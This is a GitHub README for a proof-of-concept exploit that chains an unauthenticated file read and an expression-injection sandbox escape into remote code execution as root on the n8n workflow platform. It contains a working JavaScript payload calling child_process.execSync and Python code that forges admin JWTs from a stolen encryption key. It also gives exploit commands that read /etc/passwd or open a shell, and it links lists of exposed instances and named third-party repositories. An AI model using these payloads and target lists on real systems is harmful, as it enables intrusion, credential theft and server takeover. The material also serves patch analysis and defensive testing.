Chocapikk/CVE-2026-21858

GitHub: Chocapikk/CVE-2026-21858

针对 n8n 工作流平台的全链漏洞利用工具,串联任意文件读取与表达式注入实现未认证 RCE。

Stars: 255 | Forks: 50

# CVE-2026-21858 + CVE-2025-68613 - n8n 全链利用 **未认证任意文件读取 → 管理员 Token 伪造 → 沙箱绕过 → RCE** | | | |---|---| | **CVE** | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) | | **CVSS** | 10.0 + 9.9 (严重) | | **受影响版本** | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) | | **修复版本** | 1.121.0 (AFR) / 1.120.4+ (RCE) | | **披露时间** | 2026-01-07 11:09 UTC | | **代号** | Ni8mare | | **致谢** | Dor Attias (Cyera) | | **漏洞利用** | [Chocapikk](https://github.com/Chocapikk/CVE-2026-21858) | | **过程** | AI 自动化:补丁对比 → 复现 → 搭建环境 → 漏洞利用(披露后约 9 小时) | | **类型** | 概念验证 - 并非通用漏洞利用(需要特定工作流配置,参见 [局限性](#limitations)) | ## TL;DR n8n 上的完整未认证 RCE 链: 1. **CVE-2026-21858** - Content-Type 混淆 → 任意文件读取 2. 读取配置 + 数据库 → 伪造管理员 JWT 3. **CVE-2025-68613** - 表达式注入 → 沙箱绕过 → RCE ## 检测 漏洞暴露基于**版本**。就暴露面而言,存在公开可访问的易受攻击 n8n 实例。 **LeakIX 结果:** [查看暴露实例](https://leakix.net/search?scope=leak&q=%2Btag%3Acve-2026-21858)

LeakIX Detection Results

## 为什么开发此漏洞利用? 此漏洞利用是独立于 [Cyera 分析文章](https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858) 开发的(完成后才发现)。主要区别: | | Cyera (原始研究) | 本漏洞利用 | |---|---|---| | **文件读取** | 加载到 AI 知识库 → 通过聊天查询 | 直接 HTTP 响应 | | **前提条件** | 聊天工作流 + AI 集成 | **任何带有文件上传的表单** | | **RCE 方法** | "Execute Command" 节点(默认禁用) | **表达式注入(适用于默认安装)** | | **自动化** | 手动/概念演示 | **全自动 Python 脚本** | 两种方法都需要特定的工作流配置。Cyera 需要聊天 + AI 集成,本漏洞利用需要带有 Respond 节点的表单。详情参见 [局限性](#limitations)。 ## 攻击链 ``` ┌───────────────────────────────────────────────────────────┐ │ UNAUTHENTICATED │ ├───────────────────────────────────────────────────────────┤ │ 1. Read /proc/self/environ → Find HOME directory │ │ 2. Read $HOME/.n8n/config → Get encryptionKey │ │ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │ ├───────────────────────────────────────────────────────────┤ │ TOKEN FORGE │ ├───────────────────────────────────────────────────────────┤ │ 4. Derive JWT secret from encryptionKey │ │ 5. Forge admin session cookie │ ├───────────────────────────────────────────────────────────┤ │ AUTHENTICATED RCE │ ├───────────────────────────────────────────────────────────┤ │ 6. Create workflow with expression injection │ │ 7. Sandbox bypass via this.process.mainModule.require │ │ 8. Execute arbitrary commands │ └───────────────────────────────────────────────────────────┘ ``` ## CVE-2026-21858 - 通过 Content-Type 混淆实现任意文件读取 ### 补丁分析 ``` commit c8d604d2c466dd84ec24f4f092183d86e43f2518 Author: mfsiega Date: Thu Nov 13 11:51:40 2025 +0100 Merge commit from fork ``` 传说中的 **"Merge commit from fork"** —— 当你看到这个时,说明有人发现了劲爆的东西。🌶️ ### 根本原因 ``` // BEFORE (vulnerable) const files = (context.getBodyData().files as IDataObject) ?? {}; await context.nodeHelpers.copyBinaryFile(file.filepath, ...) // AFTER (fixed) a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data'); ``` 发送 `Content-Type: application/json` → 控制 `filepath` → 读取任意文件。 ## CVE-2025-68613 - 表达式注入 RCE ### 为什么选择这种绕过方式? n8n 使用 `vm2`/`isolated-vm` 沙箱化用户代码(代码节点,表达式)。其他 RCE 向量: | 技术 | 状态 | |-----------|--------| | Execute Command 节点 | 默认禁用 (`N8N_ALLOW_EXEC_COMMAND=false`) | | SSH/HTTP 节点 | 在远程服务器而非 n8n 主机上执行 | | Pyodide 沙箱逃逸 | CVE-2025-68668 - 需要 Python Code Node | | **表达式注入** | **CVE-2025-68613 - 适用于默认安装** | 我使用 **表达式注入** 是因为它适用于任何默认设置的 n8n —— 不需要特殊节点或配置。Pyodide 绕过 (CVE-2025-68668) 需要 Python Code Node,但这并非在所有实例上都可用。 ### Payload ``` ={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("id").toString(); })() }} ``` n8n 表达式可以访问 `this.process.mainModule.require` → 完全沙箱逃逸。 ### Token 伪造 ``` # JWT secret 派生 jwt_secret = sha256(encryption_key[::2]).hexdigest() # JWT 哈希 jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10] # Forge token token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256") ``` ## 实验环境搭建 ``` docker compose up -d # 等待约 60 秒以完成设置 # 表单:http://localhost:5678/form/vulnerable-form # 凭证:admin@exploit.local / password ``` ## 用法 ``` # 读取任意文件 uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd # Full chain 与命令 uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id" # 交互式 shell uv run python exploit.py http://localhost:5678 /form/vulnerable-form ``` ## 演示 ``` ╔═══════════════════════════════════════════════════════════════╗ ║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║ ║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║ ╚═══════════════════════════════════════════════════════════════╝ [*] Target: http://localhost:5678/form/vulnerable-form [*] Version: 1.65.0 (VULN) [x] HOME directory [+] HOME directory: /root [x] Encryption key [+] Encryption key: yusrXZV1... [x] Database [+] Database: 1327104 bytes [x] Admin user [+] Admin user: admin@exploit.local [x] Token forge [+] Token forge: OK [x] Admin access [+] Admin access: GRANTED! [+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0 [x] RCE [+] RCE: OK uid=0(root) gid=0(root) groups=0(root) ``` ## 局限性 **这并非一个 "搞定所有 n8n" 的漏洞利用。** 它需要特定条件才能工作: | 需求 | 描述 | |-------------|-------------| | **带有文件上传的表单** | 目标必须具有包含文件上传字段的表单工作流 | | **Respond to Webhook 节点** | 工作流必须在 HTTP 响应中返回文件内容 | | **工作流已激活** | 该表单工作流必须处于激活状态 | | **未认证访问** | 表单必须可公开访问(无认证) | **易受攻击的工作流配置示例:** ``` { "nodes": [ { "name": "Form Trigger", "type": "n8n-nodes-base.formTrigger", "parameters": { "responseMode": "responseNode", "formFields": { "values": [{ "fieldLabel": "document", "fieldType": "file" }] } } }, { "name": "Respond", "type": "n8n-nodes-base.respondToWebhook", "parameters": { "respondWith": "binary", "inputDataFieldName": "document" } } ], "connections": { "Form Trigger": { "main": [[{ "node": "Respond" }]] } } } ``` 关键要素是:`fieldType: "file"` + `respondWith: "binary"`。这种模式在文件处理工作流(转换器、图像缩放器、文档处理器)中很常见。 **有效情况:** - 带有返回二进制数据的 Respond 节点的表单(文件转换器、处理器) - 默认 n8n 安装(表达式注入未被阻止) - 本地/Docker 部署(数据库 + 配置存储在磁盘上) **无效情况:** - 没有 Respond 节点的表单(文件被读取但内容未在 HTTP 响应中返回) - 需要认证的表单 - n8n Cloud(架构不同,无本地文件访问) - 已修补版本 (>= 1.121.0) **注意:** 漏洞(任意文件读取)的触发与数据渗出方法无关。Respond 节点只是检索内容的一种方式。根据工作流配置,其他方法(OOB、其他输出节点)可能有效。 **盲注利用:** 如果不存在响应节点,文件仍会被 n8n 读取,但无法通过 HTTP 响应渗出。需要其他技术(OOB、时间侧信道)。 ## 现实世界示例 易受攻击的模式(Form Trigger + 文件上传 + Respond to Webhook)存在于公开的 GitHub 仓库中。 **注意:** 流行的 n8n 工作流仓库 (>100⭐) 不使用此模式。这些是社区/个人项目: | 工作流文件 | 文件字段 | respondWith | |---------------|-------------|-------------| | [ifcpipeline/.../ifcpipeline.json](https://github.com/jonatanjacobsson/ifcpipeline/blob/main/example%20n8n%20workflows/%E2%9C%A8Getting%20Started_%20ifcpipeline.json) | IDS, IFC (x2) | `binary` ⚠️ | | [nano-banana-studio/.../03_multi_asset_processor.json](https://github.com/Ghenghis/nano-banana-studio/blob/main/n8n/workflows/03_multi_asset_processor.json) | Images, Audio, Markdown | `json` | | [ticket-omnichannel-chat/.../Knowledge_base.json](https://github.com/tiago123456789/ticket-omnichannel-chat/blob/main/n8n_automations/TicketOmnichannelChat___Knowledge_base.json) | Document(PDF) | `text` | | [ai_resume_project/resume_rag.json](https://github.com/ggvoicu/ai_resume_project/blob/main/resume_rag.json) | File Upload | `allIncomingItems` | | [fkgpt-portfolio/.../audio-transcription-analysis.json](https://github.com/musudik/fkgpt-portfolio/blob/main/src/n8n-workflows/audio-transcription-analysis.json) | Audio File | `text` | | [n8n-backup/.../K3DwHQs0fnnm5UK0.json](https://github.com/trazonm/n8n-backup/blob/main/backup-2025/08/K3DwHQs0fnnm5UK0.json) | file | `text` | | [voltixLandingPage/.../chatbotvoltix.json](https://github.com/CodingNeeds/voltixLandingPage/blob/main/n8nWorkflow/chatbotvoltix.json) | Upload File | default | | [n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json](https://github.com/zlatkomq/n8n-backup-zm/blob/main/2025/11/Ky1AiuIMbY1zoTLE.json) | file | default | | [8n8Workflows/.../3WoSqiBnZ56RtWMb.json](https://github.com/BigAddict/8n8Workflows/blob/main/workflows/3WoSqiBnZ56RtWMb.json) | Upload your document | default | | [learn_earn_ai_insta/.../My workflow.json](https://github.com/bharathikalai/learn_earn_ai_insta/blob/main/chatgpt_rag/My%20workflow.json) | upload your file | default | | [finintworkshop/.../API using n8n (ToT).json](https://github.com/rafliher/finintworkshop/blob/main/day4/API%20using%20n8n%20(ToT).json) | file | `json` | 这些是**社区贡献的工作流**。没有官方的 n8n.io 模板使用这种易受攻击的模式。 ## 参考资料 - [Vulhub 环境](https://github.com/vulhub/vulhub/tree/master/n8n/CVE-2025-68613) - Vulhub 上的开箱即用实验环境 - [Cyera 研究 - Ni8mare 完整文章](https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858) - Dor Attias 的原始研究 - [GHSA-v4pr-fm98-w9pg](https://github.com/n8n-io/n8n/security/advisories/GHSA-v4pr-fm98-w9pg) - CVE-2026-21858 - [GHSA-v98v-ff95-f3cp](https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp) - CVE-2025-68613 - [Nuclei 模板 CVE-2025-68613](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-68613.yaml) - [LeakIX 搜索结果](https://leakix.net/search?scope=leak&q=%2Btag%3Acve-2026-21858) - 暴露的易受攻击实例 - [Formidable](https://github.com/node-formidable/formidable) - “指的是库,不是那首歌”(感谢 Cyera 逗乐了我)
标签:CISA项目, CVE-2025-68613, CVE-2026-21858, CVSS 10.0, JWT 伪造, n8n, PoC, Python, RCE, 任意文件读取, 安全助手, 工作流自动化, 无后门, 暴力破解, 未授权访问, 沙箱逃逸, 漏洞链, 编程工具, 网络安全, 网络安全审计, 表达式注入, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞